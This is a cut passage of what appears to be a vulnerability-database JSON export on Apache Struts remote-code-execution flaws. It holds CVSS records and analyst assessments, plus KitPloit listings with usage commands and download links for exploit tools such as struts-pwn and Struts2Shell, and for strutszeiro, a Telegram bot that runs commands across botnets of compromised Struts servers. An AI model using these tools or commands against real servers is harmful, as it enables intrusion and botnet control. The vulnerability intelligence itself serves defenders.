"confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-09-14T00:00:00", "type": "attackerkb", "title": "CVE-2019-0230", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2018-11776", "CVE-2019-0230"], "modified": "2020-11-17T00:00:00", "id": "AKB:289DC3CE-ED8A-4366-89F0-46E148584C36", "href": "https://attackerkb.com/topics/mcp2xl4Va9/cve-2019-0230", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-19T15:03:32", "description": "Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn\u2019t have value and action set and in same time, its upper package have no or wildcard namespace.\n\n \n**Recent assessments:** \n \n**zeroSteiner** at April 14, 2020 6:33pm UTC reported:\n\nThis vulnerability exists within the Apache Struts OGNL method dispatch routine. An attacker can submit a specially crafted HTTP request to a vulnerable web server. Specifically an attacker can taint the `name` parameter passed to [`OgnlUtil::getValue()`](<https://lgtm.com/projects/g/apache/struts/snapshot/02518d8149ff0b60863b4012cd3268cf0f2942b7/files/core/src/main/java/com/opensymphony/xwork2/ognl/OgnlUtil.java?sort=name&dir=ASC&mode=heatmap#L301>).\n\nExploitation of this vulnerability would lead to code execution within the context of the Java process powering the server. An indicator of compromise will be present in the logs at the `DEBUG` level. This IOC will look like a malformed value in the `Executing action method =` message.\n\nThe default configuration is not vulnerable. The `alwaysSelectFullNamespace` option must be enabled. This can be done by adding `<constant name=\"struts.mapper.alwaysSelectFullNamespace\" value=\"true\" />` to the `struts.xml` configuration file.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-08-22T00:00:00", "type": "attackerkb", "title": "CVE-2018-11776", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2020-07-30T00:00:00", "id": "AKB:4AA28DD7-15C7-4892-96A3-0190EA268037", "href": "https://attackerkb.com/topics/jgIUjIdFUR/cve-2018-11776", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-12T02:25:06", "description": "The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-09-15T00:00:00", "type": "attackerkb", "title": "CVE-2017-9805", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9805"], "modified": "2020-07-30T00:00:00", "id": "AKB:195A97E5-45A3-4A70-95E4-60FF9B5AD20D", "href": "https://attackerkb.com/topics/PH3MIA0Byl/cve-2017-9805", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T17:24:09", "description": "The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string.\n\n \n**Recent assessments:** \n \n**wvu-r7** at September 03, 2020 4:29pm UTC reported:\n\nThis popped Equifax. Vulnerable versions of Struts are exploitable out of the box, since this was a parser flaw. Make sure this is patched!\n\n**hrbrmstr** at May 12, 2020 7:45pm UTC reported:\n\nThis popped Equifax. Vulnerable versions of Struts are exploitable out of the box, since this was a parser flaw. Make sure this is patched!\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-11T00:00:00", "type": "attackerkb", "title": "CVE-2017-5638", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2020-07-30T00:00:00", "id": "AKB:BDF59C15-D64F-45D5-B1AC-D1B9DD354080", "href": "https://attackerkb.com/topics/1MWtVe9P7w/cve-2017-5638", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "kitploit": [{"lastseen": "2023-06-23T15:18:09", "description": " \n\n\n[![](https://3.bp.blogspot.com/-MKbYVQXvBz0/W4LReq3_cJI/AAAAAAAAMQ0/WgNhU5_o5cIwFs69p3T2YIf3xObo_rAtgCLcBGAs/s640/Apache-Struts-v3_1_screen.png)](<https://3.bp.blogspot.com/-MKbYVQXvBz0/W4LReq3_cJI/AAAAAAAAMQ0/WgNhU5_o5cIwFs69p3T2YIf3xObo_rAtgCLcBGAs/s1600/Apache-Struts-v3_1_screen.png>)\n\n \nScript contains the fusion of 3 RCE vulnerabilities on ApacheStruts, it also has the ability to create server shells. \n \n**SHELL** \n**php** `finished` \n**jsp** `process` \n \n**CVE ADD** \n**CVE-2013-2251** `'action:', 'redirect:' and 'redirectAction'` \n**CVE-2017-5638** `Content-Type` \n**CVE-2018-11776** `'redirect:' and 'redirectAction'` \n \n \n\n\n**[Download Apache-Struts-v3](<https://github.com/s1kr10s/Apache-Struts-v3>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-08-26T21:14:00", "type": "kitploit", "title": "Apache Struts v3 - Tool To Exploit 3 RCE Vulnerabilities On ApacheStruts", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-2251", "CVE-2017-5638", "CVE-2018-11776"], "modified": "2018-08-26T21:14:01", "id": "KITPLOIT:4611207874033525364", "href": "http://www.kitploit.com/2018/08/apache-struts-v3-tool-to-exploit-3-rce.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-19T15:27:47", "description": "[![](https://1.bp.blogspot.com/-9cslz9huO_U/XYAeBJbmtNI/AAAAAAAAQXo/vfBLw3xqV-stKkRe0MzCd4fOhcbHSMVCwCNcBGAsYHQ/s640/mitaka_8_eyecatch.png)](<https://1.bp.blogspot.com/-9cslz9huO_U/XYAeBJbmtNI/AAAAAAAAQXo/vfBLw3xqV-stKkRe0MzCd4fOhcbHSMVCwCNcBGAsYHQ/s1600/mitaka_8_eyecatch.png>)\n\n \nMitaka is a browser extension for [OSINT](<https://www.kitploit.com/search/label/OSINT> \"OSINT\" ) search which can: \n\n\n * Extract & refang IoC from a selected block of text. \n * E.g. `example[.]com` to `example.com`, `test[at]example.com` to `some-email@example.com`, `hxxp://example.com` to `http://example.com`, etc.\n * Search / scan it on various engines. \n * E.g. VirusTotal, urlscan.io, Censys, Shodan, etc.\n \n**Features** \n \n**Supported IOC types** \nname | desc. | e.g. \n---|---|--- \ntext | Freetext | any string(s) \nip | IPv4 address | `8.8.8.8` \ndomain | Domain name | `github.com` \nurl | URL | `https://github.com` \nemail | Email address | `some-email@example.com` \nasn | ASN | `AS13335` \nhash | md5 / sha1 / sha256 | `44d88612fea8a8f36de82e1278abb02f` \ncve | CVE number | `CVE-2018-11776` \nbtc | BTC address | `1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa` \ngaPubID | Google Adsense Publisher ID | `pub-9383614236930773` \ngaTrackID | Google [Analytics](<https://www.kitploit.com/search/label/Analytics> \"Analytics\" ) Tracker ID | `UA-67609351-1` \n \n**Supported search engines** \nname | url | supported types \n---|---|--- \nAbuseIPDB | [https://www.abuseipdb.com](<https://www.abuseipdb.com/> \"https://www.abuseipdb.com\" ) | ip \narchive.org | [https://archive.org](<https://archive.org/> \"https://archive.org\" ) | url \narchive.today | [http://archive.fo](<http://archive.fo/> \"http://archive.fo\" ) | url \nBGPView | [https://bgpview.io](<https://bgpview.io/> \"https://bgpview.io\" ) | ip / asn \nBinaryEdge | [https://app.binaryedge.io](<https://app.binaryedge.io/> \"https://app.binaryedge.io\" ) | ip / domain \nBitcoinAbuse | [https://www.bitcoinabuse.com](<https://www.bitcoinabuse.com/> \"https://www.bitcoinabuse.com\" ) | btc \nBlockchain.com | [https://www.blockchain.com](<https://www.blockchain.com/> \"https://www.blockchain.com\" ) | btc \nBlockCypher | [https://live.blockcypher.com](<https://live.blockcypher.com/> \"https://live.blockcypher.com\" ) | btc \nCensys | [https://censys.io](<https://censys.io/> \"https://censys.io\" ) | ip / domain / asn / text \ncrt.sh | [https://crt.sh](<https://crt.sh/> \"https://crt.sh\" ) | domain \nDNSlytics | [https://dnslytics.com](<https://dnslytics.com/> \"https://dnslytics.com\" ) | ip / domain \nDomainBigData | [https://domainbigdata.com](<https://domainbigdata.com/> \"https://domainbigdata.com\" ) | domain \nDomainTools | [https://www.domaintools.com](<https://www.domaintools.com/> \"https://www.domaintools.com\" ) | ip / domain \nDomainWatch | [https://domainwat.ch](<https://domainwat.ch/> \"https://domainwat.ch\" ) | domain / email \nEmailRep | [https://emailrep.io](<https://emailrep.io/> \"https://emailrep.io\" ) | email \nFindSubDomains | [https://findsubdomains.com](<https://findsubdomains.com/> \"https://findsubdomains.com\" ) | domain \nFOFA | [https://fofa.so](<https://fofa.so/> \"https://fofa.so\" ) | ip / domain \nFortiGuard | [https://fortiguard.com](<https://fortiguard.com/> \"https://fortiguard.com\" ) | ip / url / cve \nGoogle Safe Browsing | [https://transparencyreport.google.com](<https://transparencyreport.google.com/> \"https://transparencyreport.google.com\" ) | domain / url \nGreyNoise | [https://viz.greynoise.io](<https://viz.greynoise.io/> \"https://viz.greynoise.io\" ) | ip / domain / asn \nHashdd | [https://hashdd.com](<https://hashdd.com/> \"https://hashdd.com\" ) | ip / domain / hash \nHybridAnalysis | [https://www.hybrid-analysis.com](<https://www.hybrid-analysis.com/> \"https://www.hybrid-analysis.com\" ) | ip / domain / hash (sha256 only) \nIntelligence X | [https://intelx.io](<https://intelx.io/> \"https://intelx.io\" ) | ip / domain / url / email / btc \nIPinfo | [https://ipinfo.io](<https://ipinfo.io/> \"https://ipinfo.io\" ) | ip / asn \nIPIP | [https://en.ipip.net](<https://en.ipip.net/> \"https://en.ipip.net\" ) | ip / asn \nJoe Sandbox | [https://www.joesandbox.com](<https://www.joesandbox.com/> \"https://www.joesandbox.com\" ) | hash \nMalShare | [https://malshare.com](<https://malshare.com/> \"https://malshare.com\" ) | hash \nMaltiverse | [https://www.maltiverse.com](<https://www.maltiverse.com/> \"https://www.maltiverse.com\" ) | domain / hash \nNVD | [https://nvd.nist.gov](<https://nvd.nist.gov/> \"https://nvd.nist.gov\" ) | cve \nOOCPR | [https://data.occrp.org](<https://data.occrp.org/> \"https://data.occrp.org\" ) | email \nONYPHE | [https://www.onyphe.io](<https://www.onyphe.io/> \"https://www.onyphe.io\" ) | ip \nOTX | [https://otx.alienvault.com](<https://otx.alienvault.com/> \"https://otx.alienvault.com\" ) | ip / domain / hash \nPubDB | [http://pub-db.com](<http://pub-db.com/> \"http://pub-db.com\" ) | gaPubID / gaTrackID \nPublicWWW | [https://publicwww.com](<https://publicwww.com/> \"https://publicwww.com\" ) | text \nPulsedive | [https://pulsedive.com](<https://pulsedive.com/> \"https://pulsedive.com\" ) | ip / domaion / url / hash \nRiskIQ | [http://community.riskiq.com](<http://community.riskiq.com/> \"http://community.riskiq.com\" ) | ip / domain / email / gaTrackID \nSecurityTrails | [https://securitytrails.com](<https://securitytrails.com/> \"https://securitytrails.com\" ) | ip / domain / email \nShodan | [https://www.shodan.io](<https://www.shodan.io/> \"https://www.shodan.io\" ) | ip / domain / asn \nSploitus | [https://sploitus.com](<https://sploitus.com/> \"https://sploitus.com\" ) | cve \nSpyOnWeb | [http://spyonweb.com](<http://spyonweb.com/> \"http://spyonweb.com\" ) | ip / domain / gaPubID / gaTrackID \nTalos | [https://talosintelligence.com](<https://talosintelligence.com/> \"https://talosintelligence.com\" ) | ip / domain \nThreatConnect | [https://app.threatconnect.com](<https://app.threatconnect.com/> \"https://app.threatconnect.com\" ) | ip / domain / email \nThreatCrowd | [https://www.threatcrowd.org](<https://www.threatcrowd.org/> \"https://www.threatcrowd.org\" ) | ip / domain / email \nThreatMiner | [https://www.threatminer.org](<https://www.threatminer.org/> \"https://www.threatminer.org\" ) | ip / domain / hash \nTIP | [https://threatintelligenceplatform.com](<https://threatintelligenceplatform.com/> \"https://threatintelligenceplatform.com\" ) | ip / domain \nUrlscan | [https://urlscan.io](<https://urlscan.io/> \"https://urlscan.io\" ) | ip / domain / asn / url \nViewDNS | [https://viewdns.info](<https://viewdns.info/> \"https://viewdns.info\" ) | ip / domain / email \nVirusTotal | [https://www.virustotal.com](<https://www.virustotal.com/> \"https://www.virustotal.com\" ) | ip / domain / url / hash \nVulmon | [https://vulmon.com](<https://vulmon.com/> \"https://vulmon.com\" ) | cve \nVulncodeDB | [https://www.vulncode-db.com](<https://www.vulncode-db.com/> \"https://www.vulncode-db.com\" ) | cve \nVxCube | [http://vxcube.com](<http://vxcube.com/> \"http://vxcube.com\" ) | ip / domain / hash \nWebAnalyzer | [https://wa-com.com](<https://wa-com.com/> \"https://wa-com.com\" ) | domain \nWe Leak Info | [https://weleakinfo.com](<https://weleakinfo.com/> \"https://weleakinfo.com\" ) | email \nX-Force Exchange | [https://exchange.xforce.ibmcloud.com](<https://exchange.xforce.ibmcloud.com/> \"https://exchange.xforce.ibmcloud.com\" ) | ip / domain / hash \nZoomEye | [https://www.zoomeye.org](<https://www.zoomeye.org/> \"https://www.zoomeye.org\" ) | ip \n \n**Supported scan engines** \nname | url | supported types \n---|---|--- \nUrlscan | [https://urlscan.io](<https://urlscan.io/> \"https://urlscan.io\" ) | ip / domain / url \nVirusTotal | [https://www.virustotal.com](<https://www.virustotal.com/> \"https://www.virustotal.com\" ) | url \n \n**Downloads** \n\n\n * Chrome: <https://chrome.google.com/webstore/detail/mitaka/bfjbejmeoibbdpfdbmbacmefcbannnbg>\n * FireFox: <https://addons.mozilla.org/en-US/firefox/addon/mitaka/>\n \n**How to use** \nThis browser extension shows context menus based on a type of IoC you selected and then you can choose what you want to search / scan on. \n \n**Examples:** \n \n\n\n[![](https://1.bp.blogspot.com/-2tdM6fuXGfQ/XYAeOc1TdNI/AAAAAAAAQXs/o9Yh-_pJEdwOcF-5KM-3Hj9CjQSlHLl5wCNcBGAsYHQ/s640/mitaka_9_1.gif)](<https://1.bp.blogspot.com/-2tdM6fuXGfQ/XYAeOc1TdNI/AAAAAAAAQXs/o9Yh-_pJEdwOcF-5KM-3Hj9CjQSlHLl5wCNcBGAsYHQ/s1600/mitaka_9_1.gif>)\n\n \n\n\n[![](https://1.bp.blogspot.com/-4t9b6shG_iQ/XYAeOVytJkI/AAAAAAAAQXw/b4P4PJz5gU0lDqmKpJ9dL3jhiUVXkhOxwCNcBGAsYHQ/s640/mitaka_10_2.gif)](<https://1.bp.blogspot.com/-4t9b6shG_iQ/XYAeOVytJkI/AAAAAAAAQXw/b4P4PJz5gU0lDqmKpJ9dL3jhiUVXkhOxwCNcBGAsYHQ/s1600/mitaka_10_2.gif>)\n\n \n**Note:** \nPlease set your urlscan.io & [VirusTotal](<https://www.kitploit.com/search/label/VirusTotal> \"VirusTotal\" ) API keys in the options page for enabling urlscan.io & VirusTotal scans. \n \n**Options** \nYou can enable / disable a search engine on the options page based on your preference. \n \n\n\n[![](https://1.bp.blogspot.com/-dP_LGUSsF1M/XYAeT14bPsI/AAAAAAAAQX0/U7gyifaFxOgCv92e0_k0fugVzaLMShGIACNcBGAsYHQ/s640/mitaka_11_options.png)](<https://1.bp.blogspot.com/-dP_LGUSsF1M/XYAeT14bPsI/AAAAAAAAQX0/U7gyifaFxOgCv92e0_k0fugVzaLMShGIACNcBGAsYHQ/s1600/mitaka_11_options.png>)\n\n \n**About Permissons** \nThis browser extension requires the following permissions. \n\n\n * `Read and change all your data on the websites you visit`: \n * This extension creates context menus dynamically based on what you select on a website.\n * It means this extension requires reading all your data on the websites you visit. (This extension doesn't change anything on the websites)\n * `Display notifications`: \n * This extension makes a notification when something goes wrong.\nI don't (and will never) collect any information from the users. \n \n**Alternatives or Similar Tools** \n\n\n * [CrowdScrape](<https://chrome.google.com/webstore/detail/crowdscrape/jjplaeklnlddpkbbdbnogmppffokemej> \"CrowdScrape\" )\n * [Gotanda](<https://github.com/HASH1da1/Gotanda> \"Gotanda\" )\n * [Sputnik](<https://github.com/mitchmoser/sputnik> \"Sputnik\" )\n * [ThreatConnect Integrated ](<https://chrome.google.com/webstore/detail/threatconnect-integrated/lblgcphpihpadjdpjgjnnoikjdjcnkbh> \"ThreatConnect Integrated \" )[Chrome](<https://www.kitploit.com/search/label/Chrome> \"Chrome\" ) Extension\n * [ThreatPinch Lookup](<https://github.com/cloudtracer/ThreatPinchLookup> \"ThreatPinch Lookup\" )\n * [VTchromizer](<https://chrome.google.com/webstore/detail/vtchromizer/efbjojhplkelaegfbieplglfidafgoka> \"VTchromizer\" )\n \n**How to build (for developers)** \nThis browser extension is written in [TypeScript](<https://www.typescriptlang.org/> \"TypeScript\" ) and built by [webpack](<https://webpack.js.org/> \"webpack\" ). \nTypeScript files will start out in `src` directory, run through the TypeScript compiler, then webpack, and end up in JavaScript files in `dist` directory. \n\n \n \n git clone https://github.com/ninoseki/mitaka.git\n cd mitaka\n npm install\n npm run test\n npm run build\n\nFor loading an unpacked extension, please follow the procedures described at <https://developer.chrome.com/extensions/getstarted>. \n \n**Misc** \nMitaka/\u898b\u305f\u304b means \"Have you seen it?\" in Japanese. \n \n \n\n\n**[Download Mitaka](<https://github.com/ninoseki/mitaka> \"Download Mitaka\" )**\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-09-21T12:00:00", "type": "kitploit", "title": "Mitaka - A Browser Extension For OSINT Search", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2019-09-21T12:00:07", "id": "KITPLOIT:8708017483803645203", "href": "http://www.kitploit.com/2019/09/mitaka-browser-extension-for-osint.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-23T15:19:29", "description": "[![](https://2.bp.blogspot.com/-11EAxL668ng/WMfWw388UFI/AAAAAAAAHa8/FeOT6wUDm_s_Ro41Cs6Ttq7cMXH5BPATQCLcB/s1600/struts-pwn.png)](<https://2.bp.blogspot.com/-11EAxL668ng/WMfWw388UFI/AAAAAAAAHa8/FeOT6wUDm_s_Ro41Cs6Ttq7cMXH5BPATQCLcB/s1600/struts-pwn.png>)\n\n \n** An exploit for Apache Struts CVE-2017-5638** \n \n** ** Usage ** ** \n \n** Testing a single URL. ** \n\n \n \n python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id'\n\n \n** Testing a list of URLs. ** \n\n \n \n python struts-pwn.py --list 'urls.txt' -c 'id'\n\n \n** Checking if the vulnerability exists against a single URL. ** \n\n \n \n python struts-pwn.py --check --url 'http://example.com/struts2-showcase/index.action'\n\n \n** Checking if the vulnerability exists against a list of URLs. ** \n\n \n \n python struts-pwn.py --check --list 'urls.txt'\n\n \n** ** Requirements ** ** \n\n\n * Python2 or Python3 \n * requests \n \n** ** Legal Disclaimer ** ** \nThis project is made for educational and ethical testing purposes only. Usage of struts-pwn for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. \n \n** ** Author ** ** \n_ Mazin Ahmed _ \n\n\n * Website: [ https://mazinahmed.net ](<https://mazinahmed.net/>)\n * Email: _ mazin AT mazinahmed DOT net _\n * Twitter: [ https://twitter.com/mazen160 ](<https://twitter.com/mazen160>)\n * Linkedin: [ http://linkedin.com/in/infosecmazinahmed](<http://linkedin.com/in/infosecmazinahmed>)\n \n\n\n** [ Download struts-pwn ](<https://github.com/mazen160/struts-pwn>) **\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-14T13:34:00", "type": "kitploit", "title": "struts-pwn - An exploit for Apache Struts CVE-2017-5638", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-14T13:34:05", "id": "KITPLOIT:1841841790447853746", "href": "http://www.kitploit.com/2017/03/struts-pwn-exploit-for-apache-struts.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-11T00:37:47", "description": "[![](https://4.bp.blogspot.com/-ueegtNhcGOM/WMtkR8p9hRI/AAAAAAAAHbo/eHq-bF-Q2GgzOPgzXd9XIaTs4L-JlNr7wCLcB/s640/Struts2Shell.png)](<https://4.bp.blogspot.com/-ueegtNhcGOM/WMtkR8p9hRI/AAAAAAAAHbo/eHq-bF-Q2GgzOPgzXd9XIaTs4L-JlNr7wCLcB/s1600/Struts2Shell.png>)\n\n \nImproves manipulation and sending commands to the vulnerable Apache Struts server using a shell. \n \n**Usage:** \n\n \n \n python Struts2Shell.py\n\n \n\n\n** [ Download Struts2Shell ](<https://github.com/s1kr10s/Struts2Shell>) **\n", "cvss3": {}, "published": "2017-03-17T14:22:00", "type": "kitploit", "title": "Struts2Shell - Interactive Shell Command to Exploit Apache Struts CVE-2017-5638", "bulletinFamily": "tools", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-17T14:22:01", "id": "KITPLOIT:2304674796555328667", "href": "http://www.kitploit.com/2017/03/struts2shell-interactive-shell-command.html", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-06-23T15:19:28", "description": "[![](https://2.bp.blogspot.com/-XZN2TA7nQZ0/WGSL3ia76KI/AAAAAAAAGuE/8pxmxtrizn8Yu1Y6iIArXYBgsL3Rhww3ACLcB/s320/telegram-bot.png)](<https://2.bp.blogspot.com/-XZN2TA7nQZ0/WGSL3ia76KI/AAAAAAAAGuE/8pxmxtrizn8Yu1Y6iIArXYBgsL3Rhww3ACLcB/s1600/telegram-bot.png>)\n\n \nTelegram Bot to manage botnets created with struts vulnerability(CVE-2017-5638) \n \n** Dependencies ** \n\n \n \n pip install -r requeriments.txt \n\n \n** Config ** \n\n \n \n Create a telegram bot, save the API token in config/token.conf\n Create a telegram group, save the group id in config/group.conf\n\n \n** Start ** \npython strutszeiro.py \n \n** Telegram Usage ** \n\n \n \n /add url - test vulnerability and add the new server\n /exploit url *cmd - execute commands in a specific server (you need to use the * caracter)\n /botnet cmd - execute commands in all servers\n /list - show all servers in botnet\n /total - show total of servers in botnet\n\nThanks to [ @btamburi ](<https://twitter.com/BrenoTamburi>) \n \n \n\n\n** [ Download strutszeiro ](<https://github.com/mthbernardes/strutszeiro>) **\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-14T17:30:00", "type": "kitploit", "title": "strutszeiro - 